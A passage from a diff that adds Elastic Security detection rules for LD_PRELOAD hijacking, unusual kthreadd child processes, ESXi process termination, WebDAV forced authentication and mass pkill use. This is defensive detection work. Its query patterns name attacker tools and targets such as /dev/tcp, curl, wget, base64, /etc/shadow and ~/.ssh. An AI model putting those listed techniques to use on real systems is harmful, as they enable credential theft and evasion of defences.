LD_PRELOAD or LD_LIBRARY_PATH usage to halt potential exploitation.\n- Conduct a thorough review of the affected system's environment variables and remove any unauthorized or suspicious entries.\n- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected.\n- Implement stricter access controls and monitoring on the affected system to prevent unauthorized changes to environment variables.\n- Update and enhance detection rules to include additional indicators of compromise related to LD_PRELOAD and LD_LIBRARY_PATH misuse, ensuring future attempts are identified promptly.\n", + "query": "host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and\nprocess.parent.name:(* and not (\n awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or\n nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or\n vls_agent or zabbix_agentd\n)) and\nprocess.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and\nprocess.args:-c and process.command_line:(*LD_LIBRARY_PATH=* or *LD_PRELOAD=*)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "65613f5e-0d48-4b55-ad61-2fb9567cb1ad", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Persistence", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1574", + "name": "Hijack Execution Flow", + "reference": "https://attack.mitre.org/techniques/T1574/", + "subtechnique": [ + { + "id": "T1574.006", + "name": "Dynamic Linker Hijacking", + "reference": "https://attack.mitre.org/techniques/T1574/006/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1574", + "name": "Hijack Execution Flow", + "reference": "https://attack.mitre.org/techniques/T1574/", + "subtechnique": [ + { + "id": "T1574.006", + "name": "Dynamic Linker Hijacking", + "reference": "https://attack.mitre.org/techniques/T1574/006/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1574", + "name": "Hijack Execution Flow", + "reference": "https://attack.mitre.org/techniques/T1574/", + "subtechnique": [ + { + "id": "T1574.006", + "name": "Dynamic Linker Hijacking", + "reference": "https://attack.mitre.org/techniques/T1574/006/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 3 + }, + "id": "65613f5e-0d48-4b55-ad61-2fb9567cb1ad_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/656739a8-2786-402b-8ee1-22e0762b63ba_3.json b/packages/security_detection_engine/kibana/security_rule/656739a8-2786-402b-8ee1-22e0762b63ba_3.json new file mode 100644 index 00000000000..576cf5cdbb1 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/656739a8-2786-402b-8ee1-22e0762b63ba_3.json @@ -0,0 +1,117 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process.", + "from": "now-9m", + "history_window_start": "now-14d", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Unusual Execution from Kernel Thread (kthreadd) Parent", + "new_terms_fields": [ + "process.name", + "host.id" + ], + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Execution from Kernel Thread (kthreadd) Parent\n\nThe kernel thread (kthreadd) is a fundamental component in Linux systems responsible for managing kernel-level processes. Adversaries may exploit kthreadd to execute payloads from kernel space, thereby evading detection due to its trusted status. The detection rule identifies suspicious child processes initiated by kthreadd, focusing on unusual executable paths and command lines indicative of malicious activity, while filtering out known benign processes.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific child process name and executable path that triggered the rule. Focus on paths like /dev/shm, /tmp, /var/tmp, and /var/www, which are commonly used for storing temporary or potentially malicious files.\n- Examine the command line arguments associated with the suspicious process. Look for indicators of compromise such as references to sensitive files or directories like /etc/shadow, /etc/sudoers, or ~/.ssh, as well as suspicious commands like base64 or cron.\n- Check the parent process details to confirm it is indeed kthreadd. Investigate any unusual behavior or anomalies in the parent process that might suggest exploitation or manipulation.\n- Investigate the network activity of the host to identify any connections to suspicious IP addresses or domains, especially if the command line includes references to /dev/tcp or other network-related paths.\n- Analyze the system logs and historical data to determine if similar alerts have been triggered in the past, which might indicate a persistent threat or repeated exploitation attempts.\n- Assess the risk and impact of the detected activity by correlating it with other security events or alerts on the host, considering the medium severity and risk score of 47 associated with this rule.\n\n### False positive analysis\n\n- Legitimate system maintenance tasks may trigger this rule, such as automated scripts running from temporary directories. Users can create exceptions for specific scripts or processes that are verified as safe.\n- Development or testing environments often use temporary directories for executing scripts. Exclude known development tools or scripts from these environments to reduce noise.\n- Some monitoring or backup tools might use command lines or executables that match the rule's criteria. Identify these tools and add them to the exclusion list to prevent false alerts.\n- Custom administrative scripts that perform routine checks or updates might inadvertently match the rule. Review these scripts and exclude them if they are part of regular operations.\n- If certain processes are consistently flagged but are known to be benign, consider adjusting the rule to exclude these specific processes or command lines to improve detection accuracy.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network.\n- Terminate any suspicious processes identified as child processes of kthreadd that match the alert criteria, ensuring to log the process details for further analysis.\n- Conduct a thorough review of the file paths and command lines flagged in the alert to identify any unauthorized or malicious files or scripts. Remove or quarantine these files as necessary.\n- Check for unauthorized modifications in critical system files and directories such as /etc/init.d, /etc/ssh, and /root/.ssh. Restore any altered files from a known good backup.\n- Escalate the incident to the security operations team for a deeper forensic investigation to determine the root cause and entry point of the threat.\n- Implement additional monitoring on the affected host and similar systems to detect any recurrence of the threat, focusing on the specific indicators identified in the alert.\n- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that may have been exploited by the adversary.\n", + "query": "host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:kthreadd and (\n process.executable:(/dev/shm/* or /tmp/* or /var/tmp/* or /var/www/*) or\n process.name:(bash or csh or curl or dash or fish or id or ksh or nohup or setsid or sh or tcsh or wget or whoami or zsh)\n) and\nprocess.command_line:(\n */dev/shm/* or */dev/tcp/* or */etc/init.d* or */etc/ld.so* or */etc/profile* or */etc/rc.local* or */etc/shadow* or */etc/ssh* or\n */etc/sudoers* or */home/*/.ssh/* or */root/.ssh* or */tmp/* or */var/log/* or */var/run/* or */var/tmp/* or */var/www/* or\n *base64* or *cron* or *xxd* or *~/.ssh/*\n) and not (\n process.name:(true or cifs.upcall or dpkg or flock or gdbus or getopt or grep or mount or touch or umount or uname) or\n process.command_line:(\n \"sh -c /bin/true\" or */bin/ps* or */usr/bin/find* or */usr/bin/grep* or *ds_agent* or *gitlabrunner* or *nagios* or\n *omsagent* or *pgrep*\n ) or\n process.executable:(\n /lib/systemd/systemd-cgroups-agent or /proc/self/exe or /usr/local/axs-haproxy-monitoring/haproxy_stats.sh or /tmp/newroot/* or\n /var/lib/docker/overlay2/* or /vz/root/*\n )\n)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "656739a8-2786-402b-8ee1-22e0762b63ba", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\n\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 3 + }, + "id": "656739a8-2786-402b-8ee1-22e0762b63ba_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6641a5af-fb7e-487a-adc4-9e6503365318_11.json b/packages/security_detection_engine/kibana/security_rule/6641a5af-fb7e-487a-adc4-9e6503365318_11.json new file mode 100644 index 00000000000..a026c8dc072 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6641a5af-fb7e-487a-adc4-9e6503365318_11.json @@ -0,0 +1,90 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies instances where VMware processes, such as \"vmware-vmx\" or \"vmx,\" are terminated on a Linux system by a \"kill\" command. The rule monitors for the \"end\" event type, which signifies the termination of a process. The presence of a \"kill\" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system.", + "from": "now-9m", + "index": [ + "endgame-*", + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious Termination of ESXI Process", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious Termination of ESXI Process\n\nVMware ESXi is a hypervisor used to create and manage virtual machines on a host system. Adversaries may target ESXi processes like \"vmware-vmx\" to disrupt virtual environments, often using the \"kill\" command to terminate these processes. The detection rule identifies such terminations by monitoring for specific process events, helping to uncover potential threats to virtualized infrastructures.\n\n### Possible investigation steps\n\n- Review the alert details to confirm the process name is either \"vmware-vmx\" or \"vmx\" and that the parent process is \"kill\" on a Linux host.\n- Check the timeline of events leading up to the termination to identify any preceding suspicious activities or commands executed by the same user or process.\n- Investigate the user account associated with the \"kill\" command to determine if it is authorized to manage VMware processes and if there are any signs of compromise.\n- Examine system logs and audit trails for any unauthorized access attempts or anomalies around the time of the process termination.\n- Assess the impact on the virtual environment by verifying the status of affected virtual machines and any potential service disruptions.\n- Correlate this event with other security alerts or incidents to identify if it is part of a larger attack pattern targeting the virtual infrastructure.\n\n### False positive analysis\n\n- Routine maintenance or administrative tasks may involve terminating VMware processes using the kill command. To manage this, create exceptions for known maintenance scripts or administrative user accounts that regularly perform these actions.\n- Automated scripts or monitoring tools might inadvertently terminate VMware processes as part of their operations. Identify and exclude these tools from the detection rule by specifying their process names or user accounts.\n- System updates or patches could lead to the termination of VMware processes as part of the update procedure. Exclude these events by correlating them with known update schedules or specific update-related process names.\n- Testing environments where VMware processes are frequently started and stopped for development purposes can trigger false positives. Implement exclusions for these environments by using hostnames or IP addresses associated with test systems.\n\n### Response and remediation\n\n- Immediately isolate the affected host system from the network to prevent further malicious activity and potential spread to other systems.\n- Terminate any unauthorized or suspicious processes that are still running on the affected host, especially those related to VMware ESXi, to halt any ongoing disruption.\n- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or persistence mechanisms that may have been deployed by the threat actor.\n- Restore any terminated VMware processes from a known good backup to ensure the virtual environment is returned to its operational state.\n- Review and update access controls and permissions on the affected host to ensure that only authorized personnel can execute critical commands like \"kill\" on VMware processes.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign.\n- Implement enhanced monitoring and alerting for similar suspicious activities across the virtualized infrastructure to detect and respond to future threats more effectively.", + "query": "process where host.os.type == \"linux\" and event.type == \"end\" and process.name in (\"vmware-vmx\", \"vmx\")\nand process.parent.name == \"kill\"\n", + "references": [ + "https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "6641a5af-fb7e-487a-adc4-9e6503365318", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Impact", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1489", + "name": "Service Stop", + "reference": "https://attack.mitre.org/techniques/T1489/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 11 + }, + "id": "6641a5af-fb7e-487a-adc4-9e6503365318_11", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6756ee27-9152-479b-9b73-54b5bbda301c_3.json b/packages/security_detection_engine/kibana/security_rule/6756ee27-9152-479b-9b73-54b5bbda301c_3.json new file mode 100644 index 00000000000..d786fa0d72d --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6756ee27-9152-479b-9b73-54b5bbda301c_3.json @@ -0,0 +1,102 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication.", + "from": "now-3660s", + "language": "esql", + "license": "Elastic License v2", + "name": "Rare Connection to WebDAV Target", + "note": "## Triage and analysis\n\n### Investigating Rare Connection to WebDAV Target\n\n### Possible investigation steps\n\n- Examine the reputation of the destination domain or IP address.\n- Verify if the target user opened any attachments or clicked links pointing to the same target within seconds from the alert timestamp.\n- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack.\n\n### False positive analysis\n\n- User accessing legit WebDAV resources.\n\n### Response and remediation\n\n- Conduct a password reset for the target account that may have been compromised or are at risk, ensuring the use of strong, unique passwords.\n- Verify whether other users were targeted but did not open the lure..\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.\n- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence, ensuring lessons learned are applied to improve overall security posture.", + "query": "from logs-*\n| where\n @timestamp > now() - 8 hours and\n event.category == \"process\" and\n event.type == \"start\" and\n process.name == \"rundll32.exe\" and\n process.command_line like \"*DavSetCookie*\"\n| keep host.id, process.command_line, user.name\n| grok\n process.command_line \"\"\"(?DavSetCookie .* http)\"\"\"\n| eval\n Esql.server_webdav_cookie_replace = replace(Esql.server_webdav_cookie, \"(DavSetCookie | http)\", \"\")\n| where\n Esql.server_webdav_cookie_replace is not null and\n Esql.server_webdav_cookie_replace rlike \"\"\"(([a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,3}(@SSL.*)*|(\\d{1,3}\\.){3}\\d{1,3})\"\"\" and\n not Esql.server_webdav_cookie_replace in (\"www.google.com@SSL\", \"www.elastic.co@SSL\") and\n not Esql.server_webdav_cookie_replace rlike \"\"\"(10\\.(\\d{1,3}\\.){2}\\d{1,3}|172\\.(1[6-9]|2\\d|3[0-1])\\.(\\d{1,3}\\.)\\d{1,3}|192\\.168\\.(\\d{1,3}\\.)\\d{1,3})\"\"\"\n| stats\n Esql.event_count = count(*),\n Esql.host_id_count_distinct = count_distinct(host.id),\n Esql.host_id_values = values(host.id),\n Esql.user_name_values = values(user.name)\n by Esql.server_webdav_cookie_replace\n| where\n Esql.host_id_count_distinct == 1 and\n Esql.event_count <= 3\n", + "references": [ + "https://attack.mitre.org/techniques/T1187/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "m365_defender", + "version": "^3.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.server_webdav_cookie_replace", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.user_name_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "6756ee27-9152-479b-9b73-54b5bbda301c", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Elastic Defend", + "Data Source: Windows Security Event Logs", + "Data Source: Microsoft Defender for Endpoint", + "Data Source: Crowdstrike", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1187", + "name": "Forced Authentication", + "reference": "https://attack.mitre.org/techniques/T1187/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 3 + }, + "id": "6756ee27-9152-479b-9b73-54b5bbda301c_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_115.json b/packages/security_detection_engine/kibana/security_rule/67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_115.json new file mode 100644 index 00000000000..cc84164c7e8 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_115.json @@ -0,0 +1,107 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "High Number of Process Terminations", + "note": "## Triage and analysis\n\n### Investigating High Number of Process Terminations\n\nAttackers can kill processes for a variety of purposes. For example, they can kill process associated with business applications and databases to release the lock on files used by these applications so they may be encrypted,or stop security and backup solutions, etc.\n\nThis rule identifies a high number (10) of process terminations via pkill from the same host within a short time period.\n\n#### Possible investigation steps\n\n- Examine the entry point to the host and user in action via the Analyse View.\n - Identify the session entry leader and session user.\n- Examine the contents of session leading to the process termination(s) via the Session View.\n - Examine the command execution pattern in the session, which may lead to suspricous activities.\n- Examine the process killed during the malicious execution\n - Identify imment threat to the system from the process killed.\n - Take necessary incident response actions to respawn necessary process.\n\n### False positive analysis\n\n- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Reimage the host operating system or restore it to the operational state.\n- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "event.category:process and host.os.type:linux and event.type:start and process.name:\"pkill\" and process.args:\"-f\"\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "67f8443a-4ff3-4a70-916d-3cfa3ae9f02b", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide", + "Data Source: Elastic Endgame", + "Data Source: Elastic Defend", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1489", + "name": "Service Stop", + "reference": "https://attack.mitre.org/techniques/T1489/" + } + ] + } + ], + "threshold": { + "field": [ + "host.id", + "process.executable", + "user.name" + ], + "value": 10 + }, + "timestamp_override": "event.ingested", + "type": "threshold", + "version": 115 + }, + "id": "67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_115", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_5.json b/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_5.json deleted file mode 100644 index de1dfdbb8b4..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_5.json +++ /dev/null @@ -1,104 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of 